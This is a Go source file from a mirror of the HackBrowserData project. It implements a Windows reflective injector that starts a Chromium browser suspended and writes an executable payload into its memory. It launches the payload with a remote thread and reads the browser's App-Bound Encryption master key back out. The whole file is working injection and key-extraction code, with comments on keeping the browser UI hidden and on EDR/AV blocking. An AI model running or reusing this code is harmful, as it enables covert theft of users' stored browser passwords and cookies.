mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-10-13 03:37:12 +02:00
* fix(windows): harden the ABE payload injection lifecycle The browser main thread is never resumed, so no window appears and the temp user-data-dir is unnecessary. Payload memory is RW then RX, with an explicit FlushInstructionCache before the remote thread executes it. * test(windows): use US spelling in offset test * fix(windows): validate bootstrap parameter encoding
367 lines
12 KiB
Go
367 lines
12 KiB
Go
//go:build windows
|
|
|
|
package injector
|
|
|
|
import (
|
|
"encoding/binary"
|
|
"fmt"
|
|
"os"
|
|
"runtime"
|
|
"syscall"
|
|
"time"
|
|
"unsafe"
|
|
|
|
"golang.org/x/sys/windows"
|
|
|
|
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
|
|
"github.com/moond4rk/hackbrowserdata/utils/winapi"
|
|
)
|
|
|
|
type Reflective struct {
|
|
WaitTimeout time.Duration
|
|
}
|
|
|
|
const (
|
|
exportName = "Bootstrap"
|
|
// 30s covers GoogleChromeElevationService cold-start on first call after boot.
|
|
defaultWait = 30 * time.Second
|
|
terminateWait = 2 * time.Second
|
|
bootstrapParamFieldSize = 8
|
|
)
|
|
|
|
func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) {
|
|
if len(payload) == 0 {
|
|
return nil, fmt.Errorf("injector: empty payload")
|
|
}
|
|
if exePath == "" {
|
|
return nil, fmt.Errorf("injector: empty exePath")
|
|
}
|
|
if runtime.GOARCH != "amd64" {
|
|
return nil, fmt.Errorf("injector: only amd64 is supported (got %s)", runtime.GOARCH)
|
|
}
|
|
|
|
loaderRVA, err := validateAndLocateLoader(payload)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
restore := setEnvTemporarily(env)
|
|
defer restore()
|
|
|
|
pi, err := spawnSuspended(exePath)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer windows.CloseHandle(pi.Process)
|
|
defer windows.CloseHandle(pi.Thread)
|
|
|
|
terminated := false
|
|
defer func() {
|
|
if !terminated {
|
|
_ = windows.TerminateProcess(pi.Process, 1)
|
|
_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
|
|
}
|
|
}()
|
|
|
|
remoteBase, err := writeRemotePayload(pi.Process, payload)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
scratchBase, err := allocateScratch(pi.Process)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
paramsBase, err := writeBootstrapParams(pi.Process, scratchBase)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
if err := runAndWait(pi.Process, remoteBase, loaderRVA, paramsBase, r.wait()); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
// Read output before TerminateProcess — after kill the memory is gone.
|
|
result, readErr := readScratch(pi.Process, scratchBase)
|
|
|
|
_ = windows.TerminateProcess(pi.Process, 0)
|
|
_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
|
|
terminated = true
|
|
|
|
if readErr != nil {
|
|
return nil, fmt.Errorf("injector: %w", readErr)
|
|
}
|
|
if result.Status != bootstrap.KeyStatusReady {
|
|
return nil, fmt.Errorf("injector: payload did not publish key (%s)", formatABEError(result))
|
|
}
|
|
if len(result.Key) != bootstrap.KeyLen {
|
|
return nil, fmt.Errorf("injector: payload signaled ready but key length is %d (want %d)",
|
|
len(result.Key), bootstrap.KeyLen)
|
|
}
|
|
return result.Key, nil
|
|
}
|
|
|
|
// scratchResult is the structured view of the 12-byte diagnostic header (marker..com_err) plus the
|
|
// optional 32-byte master key the payload publishes back into the remote process's scratch region.
|
|
type scratchResult struct {
|
|
Marker byte
|
|
Status byte
|
|
ErrCode byte
|
|
HResult uint32
|
|
ComErr uint32
|
|
Key []byte
|
|
}
|
|
|
|
func (r *Reflective) wait() time.Duration {
|
|
if r.WaitTimeout > 0 {
|
|
return r.WaitTimeout
|
|
}
|
|
return defaultWait
|
|
}
|
|
|
|
func validateAndLocateLoader(payload []byte) (uint32, error) {
|
|
arch, err := DetectPEArch(payload)
|
|
if err != nil {
|
|
return 0, fmt.Errorf("injector: detect payload arch: %w", err)
|
|
}
|
|
if arch != ArchAMD64 {
|
|
return 0, fmt.Errorf("injector: only amd64 payload is supported (got %s)", arch)
|
|
}
|
|
off, err := FindExportFileOffset(payload, exportName)
|
|
if err != nil {
|
|
return 0, fmt.Errorf("injector: locate %s: %w", exportName, err)
|
|
}
|
|
return off, nil
|
|
}
|
|
|
|
// spawnSuspended launches exePath with its primary thread suspended. The browser's normal startup
|
|
// path is never resumed; only the remote Bootstrap thread runs, matching the ABE reference injector
|
|
// and avoiding any top-level Chromium UI.
|
|
func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
|
|
exePtr, err := syscall.UTF16PtrFromString(exePath)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("injector: exe path: %w", err)
|
|
}
|
|
si := &windows.StartupInfo{
|
|
Cb: uint32(unsafe.Sizeof(windows.StartupInfo{})),
|
|
}
|
|
pi := &windows.ProcessInformation{}
|
|
err = windows.CreateProcess(
|
|
exePtr, nil, nil, nil,
|
|
false,
|
|
windows.CREATE_SUSPENDED,
|
|
nil, nil, si, pi,
|
|
)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("injector: CreateProcess: %w", err)
|
|
}
|
|
return pi, nil
|
|
}
|
|
|
|
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
|
remoteBase, err := winapi.VirtualAllocEx(proc,
|
|
uintptr(len(payload)),
|
|
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
|
uint32(windows.PAGE_READWRITE),
|
|
)
|
|
if err != nil {
|
|
return 0, fmt.Errorf("injector: %w", err)
|
|
}
|
|
|
|
var written uintptr
|
|
if err := windows.WriteProcessMemory(proc, remoteBase, &payload[0], uintptr(len(payload)), &written); err != nil {
|
|
return 0, fmt.Errorf("injector: WriteProcessMemory: %w", err)
|
|
}
|
|
if int(written) != len(payload) {
|
|
return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload))
|
|
}
|
|
if _, err := winapi.VirtualProtectEx(proc, remoteBase, uintptr(len(payload)), uint32(windows.PAGE_EXECUTE_READ)); err != nil {
|
|
return 0, fmt.Errorf("injector: protect payload: %w", err)
|
|
}
|
|
// Required before the region is executed. Bootstrap flushes again once it has mapped the
|
|
// payload's own sections, but that runs too late to cover its own first instruction.
|
|
if err := winapi.FlushInstructionCache(proc, remoteBase, uintptr(len(payload))); err != nil {
|
|
return 0, fmt.Errorf("injector: flush instruction cache: %w", err)
|
|
}
|
|
return remoteBase, nil
|
|
}
|
|
|
|
func allocateScratch(proc windows.Handle) (uintptr, error) {
|
|
// Keep the old scratch offsets stable for diagnostics/key reads, but place the scratch area in
|
|
// its own RW allocation so the raw payload image can be execute-only after writing.
|
|
const scratchSize = bootstrap.KeyOffset + bootstrap.KeyLen
|
|
remoteBase, err := winapi.VirtualAllocEx(proc,
|
|
uintptr(scratchSize),
|
|
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
|
uint32(windows.PAGE_READWRITE),
|
|
)
|
|
if err != nil {
|
|
return 0, fmt.Errorf("injector: allocate scratch: %w", err)
|
|
}
|
|
return remoteBase, nil
|
|
}
|
|
|
|
// encodeBootstrapParams lays out the C BootstrapParams struct using the cgo-generated field
|
|
// offsets, so a field added or reordered in bootstrap_layout.h shows up as a layout.go diff
|
|
// rather than as a silently misread pointer inside the target process.
|
|
func encodeBootstrapParams(scratchBase uintptr) ([]byte, error) {
|
|
fields := []struct {
|
|
offset int
|
|
addr uintptr
|
|
}{
|
|
{bootstrap.ParamScratchBase, scratchBase},
|
|
{bootstrap.ParamLoadLibraryA, winapi.AddrLoadLibraryA()},
|
|
{bootstrap.ParamGetProcAddress, winapi.AddrGetProcAddress()},
|
|
{bootstrap.ParamVirtualAlloc, winapi.AddrVirtualAlloc()},
|
|
{bootstrap.ParamVirtualProtect, winapi.AddrVirtualProtect()},
|
|
{bootstrap.ParamNtFlushIC, winapi.AddrNtFlushInstructionCache()},
|
|
}
|
|
params := make([]byte, bootstrap.ParamsSize)
|
|
for _, f := range fields {
|
|
if f.addr == 0 {
|
|
return nil, fmt.Errorf("injector: failed to resolve one or more bootstrap params")
|
|
}
|
|
if err := putBootstrapParam(params, f.offset, f.addr); err != nil {
|
|
return nil, err
|
|
}
|
|
}
|
|
return params, nil
|
|
}
|
|
|
|
func putBootstrapParam(params []byte, offset int, addr uintptr) error {
|
|
if offset < 0 || offset > len(params)-bootstrapParamFieldSize {
|
|
return fmt.Errorf("injector: bootstrap param offset %d out of bounds for %d-byte block", offset, len(params))
|
|
}
|
|
binary.LittleEndian.PutUint64(params[offset:offset+bootstrapParamFieldSize], uint64(addr))
|
|
return nil
|
|
}
|
|
|
|
func writeBootstrapParams(proc windows.Handle, scratchBase uintptr) (uintptr, error) {
|
|
params, err := encodeBootstrapParams(scratchBase)
|
|
if err != nil {
|
|
return 0, err
|
|
}
|
|
|
|
remoteBase, err := winapi.VirtualAllocEx(proc,
|
|
uintptr(len(params)),
|
|
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
|
|
uint32(windows.PAGE_READWRITE),
|
|
)
|
|
if err != nil {
|
|
return 0, fmt.Errorf("injector: allocate bootstrap params: %w", err)
|
|
}
|
|
var written uintptr
|
|
if err := windows.WriteProcessMemory(proc, remoteBase, ¶ms[0], uintptr(len(params)), &written); err != nil {
|
|
return 0, fmt.Errorf("injector: write bootstrap params: %w", err)
|
|
}
|
|
if int(written) != len(params) {
|
|
return 0, fmt.Errorf("injector: short write to bootstrap params (%d/%d)", written, len(params))
|
|
}
|
|
return remoteBase, nil
|
|
}
|
|
|
|
// stillActive is the Windows STILL_ACTIVE exit code. GetExitCodeProcess returns this while the
|
|
// process is still running; any other value means the process has already terminated.
|
|
const stillActive uint32 = 259
|
|
|
|
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, param uintptr, wait time.Duration) error {
|
|
entry := remoteBase + uintptr(loaderRVA)
|
|
hThread, err := winapi.CreateRemoteThread(proc, entry, param)
|
|
if err != nil {
|
|
// Diagnostic: distinguish a dead target (Chrome self-exited before we could inject — policy,
|
|
// version, UDD-restriction, sandbox-init failure) from a live target whose NtCreateThreadEx
|
|
// was blocked by an EDR/AV hook. The remediation is very different in each case.
|
|
var exitCode uint32
|
|
if gecErr := windows.GetExitCodeProcess(proc, &exitCode); gecErr == nil {
|
|
if exitCode == stillActive {
|
|
return fmt.Errorf("injector: %w (target alive; likely EDR/AV blocking remote-thread injection)", err)
|
|
}
|
|
return fmt.Errorf("injector: %w (target exited with code 0x%x before injection)", err, exitCode)
|
|
}
|
|
return fmt.Errorf("injector: %w", err)
|
|
}
|
|
defer windows.CloseHandle(hThread)
|
|
|
|
state, err := windows.WaitForSingleObject(hThread, uint32(wait/time.Millisecond))
|
|
if err != nil {
|
|
return fmt.Errorf("injector: WaitForSingleObject: %w", err)
|
|
}
|
|
switch state {
|
|
case windows.WAIT_OBJECT_0:
|
|
return nil
|
|
case uint32(windows.WAIT_TIMEOUT):
|
|
return fmt.Errorf("injector: remote Bootstrap thread timed out after %s", wait)
|
|
default:
|
|
return fmt.Errorf("injector: remote Bootstrap thread wait returned 0x%x", state)
|
|
}
|
|
}
|
|
|
|
// readScratch pulls the payload's diagnostic header and (on success) the master key out of the target
|
|
// process's scratch region. A non-nil error means our own ReadProcessMemory call failed (distinct from
|
|
// the payload reporting a structured failure via result.Status/ErrCode/HResult).
|
|
func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error) {
|
|
// hdr covers offsets 0x28..0x33: marker, status, extract_err_code, _reserved, hresult (LE u32),
|
|
// com_err (LE u32).
|
|
var hdr [12]byte
|
|
var n uintptr
|
|
if err := windows.ReadProcessMemory(proc,
|
|
remoteBase+uintptr(bootstrap.MarkerOffset),
|
|
&hdr[0], uintptr(len(hdr)), &n); err != nil {
|
|
return scratchResult{}, fmt.Errorf("read scratch header: %w", err)
|
|
}
|
|
if int(n) != len(hdr) {
|
|
return scratchResult{}, fmt.Errorf("read scratch header: short read %d/%d", n, len(hdr))
|
|
}
|
|
result := scratchResult{
|
|
Marker: hdr[0],
|
|
Status: hdr[1],
|
|
ErrCode: hdr[2],
|
|
HResult: binary.LittleEndian.Uint32(hdr[4:8]),
|
|
ComErr: binary.LittleEndian.Uint32(hdr[8:12]),
|
|
}
|
|
if result.Status != bootstrap.KeyStatusReady {
|
|
return result, nil
|
|
}
|
|
|
|
buf := make([]byte, bootstrap.KeyLen)
|
|
if err := windows.ReadProcessMemory(proc,
|
|
remoteBase+uintptr(bootstrap.KeyOffset),
|
|
&buf[0], uintptr(bootstrap.KeyLen), &n); err != nil {
|
|
return result, fmt.Errorf("read master key from scratch: %w", err)
|
|
}
|
|
if int(n) != bootstrap.KeyLen {
|
|
return result, fmt.Errorf("read master key from scratch: short read %d/%d", n, bootstrap.KeyLen)
|
|
}
|
|
result.Key = buf
|
|
return result, nil
|
|
}
|
|
|
|
// setEnvTemporarily mutates the current process's env; NOT concurrency-safe. Callers must serialize
|
|
// Inject calls.
|
|
func setEnvTemporarily(env map[string]string) func() {
|
|
if len(env) == 0 {
|
|
return func() {}
|
|
}
|
|
|
|
type prev struct {
|
|
key string
|
|
value string
|
|
set bool
|
|
}
|
|
saved := make([]prev, 0, len(env))
|
|
for k, v := range env {
|
|
old, existed := os.LookupEnv(k)
|
|
saved = append(saved, prev{key: k, value: old, set: existed})
|
|
_ = os.Setenv(k, v)
|
|
}
|
|
|
|
return func() {
|
|
for _, p := range saved {
|
|
if p.set {
|
|
_ = os.Setenv(p.key, p.value)
|
|
} else {
|
|
_ = os.Unsetenv(p.key)
|
|
}
|
|
}
|
|
}
|
|
}
|